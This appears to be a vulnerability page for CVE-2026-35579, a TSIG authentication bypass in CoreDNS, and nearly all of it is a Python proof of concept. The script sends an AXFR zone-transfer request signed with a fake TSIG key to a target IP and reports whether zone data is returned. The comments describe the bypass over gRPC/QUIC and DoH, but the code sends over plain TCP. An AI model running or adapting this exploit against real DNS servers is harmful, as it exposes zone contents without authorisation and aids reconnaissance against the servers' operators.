CVE-2026-35579 CoreDNS TSIG认证绕过漏洞

import socket import dns.message import dns.tsig import dns.query # CoreDNS TSIG Authentication Bypass PoC (CVE-2026-35579) # This script demonstrates sending an AXFR request with a fake TSIG key. # Due to the flaw, the server might accept it if the key name exists (gRPC/QUIC) # or accept any TSIG record (DoH/DoH3). target_ip = "192.168.1.100" # Replace with target IP zone = "example.com" # Create a DNS message for AXFR (Zone Transfer) query = dns.message.make_query(zone, 'AXFR') # Add a TSIG record with a known key name but INVALID key data # In this vulnerability, the MAC verification is skipped or ignored. key_name = "key-exists-in-config" # Attacker needs to guess this for gRPC/QUIC # For DoH/DoH3, even a random key name works. keyring = dns.tsig.HMACTSig(key_name, "bogus-key-data") query.use_tsig(keyring) try: # Send the query via TCP (Standard AXFR) response = dns.query.tcp(query, target_ip) print(f"Response status: {response}") print("If zone data is returned, the bypass is successful.") except Exception as e: print(f"Error: {e}")